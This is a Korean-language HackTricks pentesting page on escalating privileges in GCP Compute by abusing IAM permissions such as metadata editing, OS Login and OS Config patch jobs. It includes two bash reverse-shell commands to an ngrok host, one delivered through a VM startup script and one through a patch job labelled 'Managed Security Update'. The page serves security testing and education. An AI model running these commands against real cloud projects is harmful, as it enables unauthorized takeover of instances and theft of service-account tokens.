GCP - Compute Privesc

Support HackTricks

Compute

GCP에서 Compute 및 VPC(네트워크)에 대한 자세한 정보는 다음을 확인하세요:

GCP - Compute Enum

인스턴스의 메타데이터를 수정해야 하는 모든 권한 상승 공격(새 사용자 및 SSH 키 추가 등)을 수행하려면 인스턴스에 연결된 SA에 대해 actAs 권한이 필요합니다, SA가 이미 연결되어 있더라도!

compute.projects.setCommonInstanceMetadata

이 권한을 사용하면 인스턴스메타데이터 정보를 수정하고 사용자의 승인된 키를 변경하거나 sudo 권한이 있는 새 사용자생성할 수 있습니다. 따라서 SSH를 통해 모든 VM 인스턴스에 접속하고 인스턴스가 실행 중인 GCP 서비스 계정을 탈취할 수 있습니다. 제한 사항:

  • GCP 서비스 계정은 기본적으로 VM 인스턴스에서 매우 제한된 범위를 가집니다.

  • 로그인하려면 SSH 서버에 연락할 수 있어야 합니다.

이 권한을 악용하는 방법에 대한 자세한 정보는 다음을 확인하세요:

GCP - Add Custom SSH Metadata

새 시작 스크립트를 추가하고 인스턴스를 재부팅하여 이 공격을 수행할 수도 있습니다:

gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'

gcloud compute instances reset my-vm-instance

compute.instances.setMetadata

이 권한은 이전 권한과 동일한 권한을 특정 인스턴스에 부여합니다. 이전 섹션과 동일한 취약점과 제한 사항이 적용됩니다.

compute.instances.setIamPolicy

이러한 종류의 권한은 이전 권한으로 역할을 부여받을 수 있게 해주며, 이를 악용하여 권한을 상승시킬 수 있습니다.

compute.instances.osLogin

OSLogin이 인스턴스에서 활성화된 경우, 이 권한으로 **gcloud compute ssh [INSTANCE]**를 실행하여 인스턴스에 연결할 수 있습니다. 인스턴스 내에서 루트 권한은 없습니다.

이 권한으로 VM 인스턴스에 성공적으로 로그인하려면 VM에 연결된 SA에 대해 iam.serviceAccounts.actAs 권한이 필요합니다.

compute.instances.osAdminLogin

OSLogin이 인스턴스에서 활성화된 경우, 이 권한으로 **gcloud compute ssh [INSTANCE]**를 실행하여 인스턴스에 연결할 수 있습니다. 인스턴스 내에서 루트 권한을 가집니다.

이 권한으로 VM 인스턴스에 성공적으로 로그인하려면 VM에 연결된 SA에 대해 iam.serviceAccounts.actAs 권한이 필요합니다.

compute.instances.create,iam.serviceAccounts.actAs, compute.disks.create, compute.instances.create, compute.instances.setMetadata, compute.instances.setServiceAccount, compute.subnetworks.use, compute.subnetworks.useExternalIp

서비스 계정이 할당된 가상 머신을 생성하고 메타데이터에 접근하여 서비스 계정의 토큰을 훔치는 것이 가능합니다.

이 방법에 대한 익스플로잇 스크립트는 여기에서 찾을 수 있습니다.

osconfig.patchDeployments.create | osconfig.patchJobs.exec

osconfig.patchDeployments.create 또는 osconfig.patchJobs.exec 권한이 있는 경우 패치 작업 또는 배포를 생성할 수 있습니다. 이는 환경 내에서 수평 이동을 가능하게 하고 프로젝트 내 모든 컴퓨트 인스턴스에서 코드 실행을 얻을 수 있게 해줍니다.

현재로서는 인스턴스에 연결된 SA에 대해 actAs 권한이 필요하지 않습니다.

수동으로 이를 악용하려면 패치 작업 또는 배포를 생성해야 합니다. 패치 작업을 실행하려면:

cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF

gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh

# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance

gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s

패치 배포를 배포하려면:

gcloud compute os-config patch-deployments create <name> ...

The tool patchy는 과거에 이 잘못된 구성의 취약점을 이용하는 데 사용될 수 있었지만 (현재는 작동하지 않음).

공격자는 이를 지속성을 위해 악용할 수도 있습니다.

compute.machineImages.setIamPolicy

컴퓨트 이미지에 대한 추가 권한을 부여하세요.

compute.snapshots.setIamPolicy

디스크 스냅샷에 대한 추가 권한을 부여하세요.

compute.disks.setIamPolicy

디스크에 대한 추가 권한을 부여하세요.

접근 범위 우회

이 링크를 따라가면 접근 범위를 우회하기 위한 몇 가지 아이디어를 찾을 수 있습니다.

GCP 컴퓨트 인스턴스에서의 로컬 권한 상승

GCP - local privilege escalation ssh pivoting

참고자료

HackTricks 지원하기

Last updated